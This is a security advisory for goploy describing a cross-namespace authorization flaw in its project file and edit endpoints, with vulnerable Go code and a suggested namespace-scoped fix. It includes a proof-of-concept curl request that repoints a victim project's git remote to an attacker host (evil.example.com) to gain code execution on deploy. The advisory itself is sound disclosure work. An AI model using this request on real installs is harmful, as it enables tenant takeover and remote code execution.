Summary
Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.
Affected
zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).
The four handlers and the model lookups have been in this shape across the file API and project metadata API.
Vulnerable code
cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):
1func (Project) AddFile(gp *server.Goploy) server.Response { 2 type ReqData struct { 3 ProjectID int64 `json:"projectId" validate:"required,gt=0"` 4 Content string `json:"content" validate:"required"` 5 Filename string `json:"filename" validate:"required"` 6 } 7 var reqData ReqData 8 if err := gp.Decode(&reqData); err != nil { ... } 9 10 filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)11 // ... os.Create(filePath); file.WriteString(reqData.Content)12 id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()13}cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):
1func (Project) EditFile(gp *server.Goploy) server.Response { 2 type ReqData struct { 3 ID int64 `json:"id" validate:"required,gt=0"` 4 Content string `json:"content" validate:"required"` 5 } 6 var reqData ReqData 7 if err := gp.Decode(&reqData); err != nil { ... } 8 9 projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()10 // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))11 file.WriteString(reqData.Content)12}cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):
1func (Project) RemoveFile(gp *server.Goploy) server.Response { 2 type ReqData struct { 3 ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"` 4 } 5 var reqData ReqData 6 if err := gp.Decode(&reqData); err != nil { ... } 7 projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData() 8 if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... } 9}cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):
1func (Project) Edit(gp *server.Goploy) server.Response { 2 // ... ReqData has ID, Name, URL, Branch, Script, etc. 3 projectData, err := model.Project{ID: reqData.ID}.GetData() 4 model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow() 5 if reqData.URL != projectData.URL { 6 srcPath := config.GetProjectPath(projectData.ID) 7 cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL) 8 cmd.Dir = srcPath 9 }10}internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:
1func (pf ProjectFile) GetData() (ProjectFile, error) { 2 err := sq. 3 Select("id, project_id, filename, insert_time, update_time"). 4 From(projectFileTable). 5 Where(sq.Eq{"id": pf.ID}). 6 ... 7}internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:
1func (r Route) hasPermission(permissionIDs map[int64]struct{}) error { 2 if len(r.permissionIDs) == 0 { return nil } 3 for _, permissionID := range r.permissionIDs { 4 if _, ok := permissionIDs[permissionID]; ok { return nil } 5 } 6 return errors.New("no permission") 7}Reachable
Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:
1curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \ 2 -d '{"id":1,"name":"alice-prod","repoType":"git", 3 "url":"git@evil.example.com:attacker/payload.git", 4 "path":"/tmp/deploy/alice","environment":1,"branch":"master", 5 "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial", 6 "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, 7 "deployFinish":{"mode":"","content":""}}}' 8# → {"code":0,"message":"","data":null} 9 10docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \11 -e "SELECT name,url FROM project WHERE id=1;"12# alice-prod | git@evil.example.com:attacker/payload.gitPositive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.
Suggested fix
Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.
internal/model/project_file.go:
1func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) { 2 var projectFile ProjectFile 3 err := sq. 4 Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time"). 5 From(projectFileTable + " pf"). 6 Join("project p ON p.id = pf.project_id"). 7 Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}). 8 RunWith(DB). 9 QueryRow().10 Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,11 &projectFile.InsertTime, &projectFile.UpdateTime)12 return projectFile, err13}internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.
cmd/server/api/project/handler.go:
EditFileandRemoveFileswitch tomodel.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).AddFilecalls a newmodel.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)precheck beforeos.CreateandAddRow.Editcallsmodel.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)beforeEditRow.
sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.
Patch
Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.
